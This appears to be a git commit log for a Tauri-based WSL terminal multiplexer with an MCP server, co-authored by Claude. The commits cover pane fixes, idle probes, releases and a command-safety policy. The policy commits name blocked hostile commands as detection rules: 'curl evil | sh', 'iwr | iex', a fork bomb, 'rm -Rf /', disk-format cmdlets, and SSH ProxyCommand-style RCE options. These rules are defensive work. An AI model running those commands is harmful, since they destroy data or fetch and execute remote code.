The synchronous on_window_event CloseRequested handler reached
WindowsState::schedule_save -> tokio::spawn, which panics ("no reactor
running") because that callback runs on the main thread with no ambient
Tokio runtime; the unhandled main-thread panic aborted the whole
process, taking every window + PTY down. (push_window_workspaces hit the
same line safely because it's an async tauri::command.)
- window_state.rs: tokio::spawn -> tauri::async_runtime::spawn (global
runtime, works from any thread). Verified against tauri 2.11 source.
- lib.rs: defensive .build().run() guard — prevent_exit while any window
remains so no path can orphan live PTYs; close logging warn!->debug!.
Source-verified; pending Windows runtime test.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Pre-release audit finding: after `unlistenData = await onPaneData(...)` (and
the exit listener) there was no destroyed re-check, so if the pane unmounted
during the await the sync cleanup captured a null unlisten and the
pane://{id}/data subscription leaked. Unlisten before returning in both the
adopt and spawn paths.
Also logs the deferred (low-risk) transfer-refcount leak as a known follow-up.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- window_state.rs: persist only the main window's workspaces. The aggregator
flattened every window's tabs into the saved file; main then adopted the
whole blob on launch, so detached windows' ephemeral tabs (and Pane N
drag-out artifacts) accumulated without bound.
- TabStrip: portal the close-confirm popover to <body> with fixed,
viewport-clamped positioning so the horizontally-scrolling strip can't clip
it and it never runs off a window edge.
- styles.css: make themed ::-webkit-scrollbar global, not just xterm viewport.
- LeafPane: B1 drag-out ghost chip (portal, edge-pinned, orange detach state).
- App.tsx: moveToNewWindow waits briefly for pane registration instead of
failing instantly on an in-flight spawn/adopt.
- gitignore cargo-test.lo*.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- capabilities/default.json: extend window scope to "pane-window-*" so
detached windows can invoke/listen (fixes blank panes B2-B5).
- App.tsx: memoize the destructive take_pending_window_init read at module
scope so React StrictMode's double mount-effect doesn't consume the
transfer payload twice and lose the adopted PTY session.
- lib.rs: add `use tauri::Manager;` for Window::app_handle() in on_window_event.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Tauri keeps the crate in src-tauri/; cargo check from the project root
fails with "could not find Cargo.toml". Caught by the user after I
suggested the wrong cd. Added a preflight-checks rule to global
~/claude/CLAUDE.md so this generalises.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Documents architecture (Rust-side transferring refcount; backend-aggregated
save; scrollback ring replay), the load-bearing Tauri facts (process-wide
event routing, shared PtyManager), and the verification steps still needed
on the Windows host.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Closes out the session that took MCP from read-only v1 → full write
surface in v0.3.0. Notes the four release-time hiccups (tsc -b
narrowing miss, rm -rf src-tauri/target wiping the installer, pnpm
install hang from WSL, separate Cargo.lock commit) with fixes shipped
and a clean recipe for the next release.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three of the four dead-code warnings (`ClassifierHint`, `PolicyClassifier`,
`NoopClassifier`) were the v2.1 classifier scaffold sitting unused since
PR-1. Deleted — being unused for weeks was a stronger "no concrete plan"
signal than its presence was a "TODO" signal. Trivial to re-add when we
actually do the classifier (v0.4.0 candidate).
Fourth warning was rmcp's `#[tool_router]` macro generating internal
references to a `tool_router` field on TileService that rustc's dead-code
pass can't see through. Added `#[allow(dead_code)]` with a brief comment
on why.
`cargo build` is now clean of the four standing dead-code warnings.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Reverts in one combined commit:
- 9931a92 (inline pane_id + watch list into bash script)
- 6772b8d (pivot per-distro → per-pane via TILETOPIA_PANE_ID env)
- f51033a (original per-distro idle filter)
End-to-end probe never worked correctly against the real running app
even after fixing the wsl.exe-drops-positional-args bug. Probe script
ran fine in isolation but kept returning false-negative when called
through tiletopia's wsl.exe spawn. Rather than keep iterating, back
out cleanly — pane behaviour is now the original "go idle after 5s of
silence regardless of what's running."
memory.md session log notes the lessons for a future retry: don't ship
per-distro again (CLAUDE.md explicitly says multi-claude-per-distro is
the primary use case); prove the probe end-to-end before wiring into
the idle effect (a "Test probe" button in MCP panel would have caught
this in minutes).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.
New mechanism, per-pane via env-var marker:
1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID=<id> as a Windows
env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
existing WSLENV) so the var forwards into the distro. Pane id is now
reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
a bash one-liner that pgreps for each watched name, then for each PID
checks /proc/<pid>/environ for the matching TILETOPIA_PANE_ID line.
Env inheritance does the work: shell inherits from wsl.exe, claude
inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
instead of true (suppress). A transient error should never silence
the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
before spawn-completion pass 0, which won't match any real marker so
the pane idles normally.
Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.
pnpm check clean. Rust validation: cargo test --lib on Windows.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New scripts/build-mcpb.mjs packs a Claude Desktop extension bundle
(scripts/mcpb-wrapper.mjs + manifest + icon) into dist-mcpb/tiletopia.mcpb.
The wrapper reads the bearer token from %APPDATA% at launch and execs
`npx -y mcp-remote`, so no secrets are baked in and Regenerate keeps
working transparently. Run via `pnpm run build:mcpb`.
McpPanel gets a "Download .mcpb" button linking to the releases page; the
help-overlay tip and README MCP section both lead with the bundle install
path and keep the .mcp.json shim recipe as the Claude Code fallback.
Session-log entry in memory.md covers the design choices, especially why
the wrapper-script approach beat the alternatives (user_config prompt
would defeat one-click; baked-in token would be wrong for everyone else).
The shortcuts table in README was hand-maintained and kept drifting from
src/lib/shortcuts.ts (the data the in-app help overlay reads). Replace the
table with a marker block (<!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->)
populated by scripts/gen-readme-shortcuts.mjs. Includes TIPS too, not just
shortcuts. Script is plain Node + fs (no tsx/esbuild dep); reads shortcuts.ts
as text, strips TS type syntax, dynamic-imports the resulting .mjs.
Adds `pnpm gen:readme` script and a `--check` mode that exits 1 on drift
(for future CI wiring). Idempotent.
Probes wsl.exe -d <distro> -- pgrep -x claude before flagging a WSL pane
idle, with a 3s per-distro cache on the Rust side. If claude is running
anywhere in the distro, all panes in that distro stay out of the idle set
(per-pane granularity is out of scope — PIDs aren't observable from
Windows). PowerShell + SSH panes skip the probe and keep the legacy
always-notify behaviour.
Four new compiled-in hard-deny rules covering PowerShell + cmd.exe
catastrophic patterns (mirror of the POSIX 10):
- Remove-Item / del / rd / ri / rm / erase / rmdir targeting C:\
or user home / appdata
- Format-Volume / Clear-Disk with any flag (= an invocation, not a
Get-Help lookup)
- iwr | iex pipe form (PowerShell web-to-execute)
- iex (irm ...) parenthesized form
Universal application — no shell-aware scoping yet. PS cmdlet
identifiers are distinctive enough that bash false-positives are
vanishingly unlikely. Shell-aware policy scoping remains a known
follow-up.
Drift-proof the "Always blocked" label list: backend now exposes
hard_deny_rules() via a new mcp_hard_deny_labels Tauri command, and
PolicyTab loads it at mount instead of hardcoding the list. Avoids
the 11→15 manual sync that would have been needed (and that had
already drifted twice this week).
cargo test --lib: 138 passed; 0 failed (118 prior + 20 new fuzz
cases for rules 11-14; hard_deny_rules_count bumped 10 → 14).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.
is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.
Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
positives (still destructive, but a deliberate user scope choice).
Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.
cargo test --lib: 118 passed; 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.
add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).
Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Document the spawn-completion oneshot chain, the rate limiter,
SSH-extra confirm banner, two-switch SSH safeguards, the
spawn_pane SSH-schema split, instructions refresh, and the host
manager Connect button. Plus the four cross-IPC integration bugs
(Emitter trait, McpError 'static, StrictMode listen() race,
rename_all camelCase) and the ErrorBoundary that caught the last
one. Open follow-ups in priority order.
Note the require_visible_leaf factor-out, the non-interactive
data-loss handling for apply_preset, and PresetName as a typed
enum so the tool schema gives Claude autocomplete.
Document the fan-out approach (3 Sonnet agents + 1 Haiku), the
event/reply RPC pattern, the 10 hard-deny rules and their caveats,
the audit + confirm + Always-Allow UX, and the four integration
bugs worth remembering (Tauri 2 Emitter trait import, McpError
'static strings, React 18 StrictMode listen() race, lifting the
audit subscription out of AuditTab).
Document the five-layer breakage we unwound (WDF block rules, rmcp
host allowlist, our middleware intercepting OAuth probes, Claude Code
ignoring static bearer, mcp-remote --allow-http) and the working
stdio-shim recipe.
memory.md still said Svelte 5; migration to React 18 happened in
774b863. Also log this session's investigation, fix, and the
follow-up about CLAUDE.md still needing the same update.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- scripts/make-icon.py: generates a 1024x1024 source.png — dark
rounded square + 2x2 tile grid with one active-blue tile and one
broadcast-orange tile (matches the in-app accent colors).
Regenerated all desktop icon sizes via 'pnpm tauri icon';
pruned iOS/Android/UWP outputs.
- Version bump 0.0.1 -> 0.1.0 across package.json, Cargo.toml,
tauri.conf.json. First real release.
- scripts/release.sh: takes vX.Y.Z, sanity-checks (clean tree,
on main, in sync, tag matches package.json, installer exists,
tag not already present), tags + pushes, uploads NSIS .exe to
Forgejo via tea releases create --asset.
- README rewritten: Install section pointing at Forgejo releases,
Using-it cheatsheet for all M2-M4 features (splits, broadcast,
palette, etc.), Develop/Test/Release triplet for the WSL<->Windows
workflow, icon regen instructions.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Backend:
- save_workspace / load_workspace Tauri commands writing to
%APPDATA%\com.megaproxy.tiletopia\workspace.json with atomic
tmp+rename. Path from app.path().app_config_dir() (no dirs crate).
Layout helpers:
- tree.ts: changeDistro (with id swap to force XtermPane remount via
{#key}), changeLabel, presetSingle / TwoColumns / ThreeColumns /
TwoRows / TwoByTwo.
- New ops.ts with PaneOps interface bundling split / close /
setDistro / setLabel / distros, drilled through Pane chain
instead of individual callbacks.
UI:
- LeafPane: in-toolbar editable label (click to rename, Enter
saves, Esc cancels) and distro chip popover. Picking a different
distro respawns the pane.
- App.svelte: migrated from localStorage to APPDATA via the new
Tauri commands, debounced 500ms. One-time localStorage migration
on boot. Split inherits parent's distro+cwd. Titlebar preset
buttons with confirm when replacing >1 pane.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Replace post-test placeholder with the actual verified behaviors:
split-right/-down, multiple alive panes, gutter drag, close-collapse,
localStorage restore.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- src/lib/layout/tree.ts: pure helpers + types (newLeaf, splitLeaf,
closeLeaf, replaceById, serialize/deserialize with shape-checking).
- SplitNode.svelte: flex container with pointer-captured gutter drag.
- LeafPane.svelte: per-pane toolbar (split-right ⇥, split-down ⇣,
close ×) over the existing XtermPane.
- Pane.svelte: recursive dispatcher between SplitNode and LeafPane,
keyed on leaf.id so swaps unmount XtermPane cleanly (kills PTY).
- App.svelte: tree-as-state with split/close handlers, auto-save to
localStorage on every \$effect tick. Titlebar shows clickable distro
buttons setting the default for new panes; existing panes keep theirs.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Tauri 2 + Svelte 5 + xterm.js + portable-pty. Single full-window
WSL terminal pane with clickable distro picker. M1 verified manually
on Windows: window opens, xterm.js renders, claude TUI works,
resize reflows cleanly.
Graduated from ~/claude/ideas/wsl-mux/ per the approved plan at
~/.claude/plans/imperative-coalescing-feigenbaum.md. See memory.md
for decisions, open TODOs, and the M2-M5 roadmap.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>